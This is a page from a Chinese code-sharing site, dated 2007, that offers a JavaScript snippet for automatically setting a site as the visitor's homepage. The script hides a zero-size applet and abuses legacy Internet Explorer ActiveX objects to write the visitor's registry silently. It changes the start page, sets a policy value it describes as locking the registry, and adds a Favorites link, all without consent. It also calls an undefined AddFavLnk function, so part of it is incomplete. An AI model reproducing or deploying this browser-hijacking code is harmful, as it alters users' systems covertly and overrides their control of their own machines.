游E资源网—网络资源专家,汇集网络资源
最新文章
推荐文章
相关内容
游E资源网 >> 代码收集 >> 能自动设置为首页的代码

能自动设置为首页的代码

游E资源网 互联网 游E资源 2007-3-28 15:03:59

<script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");   //嵌入active控件  
  function f(){    
  try    
  {    
  //初始化ActiveX   控件  
  a1=document.applets[0];    
  a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");    
  a1.createInstance();    
  lou   =   a1.GetObject();    
  a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");    
  a1.createInstance();    
  FSO   =   a1.GetObject();    
  a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");    
  a1.createInstance();    
  Net   =   a1.GetObject();    
   
  try    
  {    
  if   (document.cookie.indexOf("Chg")   ==   -1)   //检查cookie中是否有chg的字符串  
  {    
  var   expdate   =   new   Date((new   Date()).getTime()   +   (1));    
  document.cookie="Chg=general;   expires="   +   expdate.toGMTString()   +   ";   path=/;"    
   
  //设置浏览器默认主页    
  lou.RegWrite   ("HKCU\\Software\\Microsoft\\Internet   Explorer\\Main\\Start   Page",   "http://www.uooe.com");    
   
   
  //设置注册不可更改  
  lou.RegWrite   ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode",   "00000000",   "REG_DWORD");    
   
   
  //设置Cookie  
  var   expdate   =   new   Date((new   Date()).getTime()   +   (1));    
  document.cookie="Chg=general;   expires="   +   expdate.toGMTString()   +   ";   path=/;"    
  //结束对注册表的操作    
   
  //把网站加入到收藏夹中    
  var   WF,   Shor,   loc;    
  WF   =   FSO.GetSpecialFolder(0);    
  loc   =   WF   +   "\\Favorites";    
  if(!FSO.FolderExists(loc))    
  {    
  loc   =   FSO.GetDriveName(WF)   +   "\\Documents   and   Settings\\"   +   Net.UserName   +   "\\Favorites";    
  if(!FSO.FolderExists(loc))    
  {    
  return;    
  }    
  }    
  //检测是不已经存在    
   
  //如果不存在,加入链接    
  AddFavLnk(loc,   "p 's Blog",   "http://www.uooe.com");    
  //结束    
  }    
  }    
  catch(e)    
  {}    
  }    
  catch(e)    
  {}    
  }    
   
  function   init()    
  {    
  setTimeout("f()",   1000);   //定时重复运行  
  }    
   
  init();   </script>

 


Google

责任编辑: 参与评论
Copyright 2004-2007 游E资源网 All Rights Reserved - 豫ICP备05004860号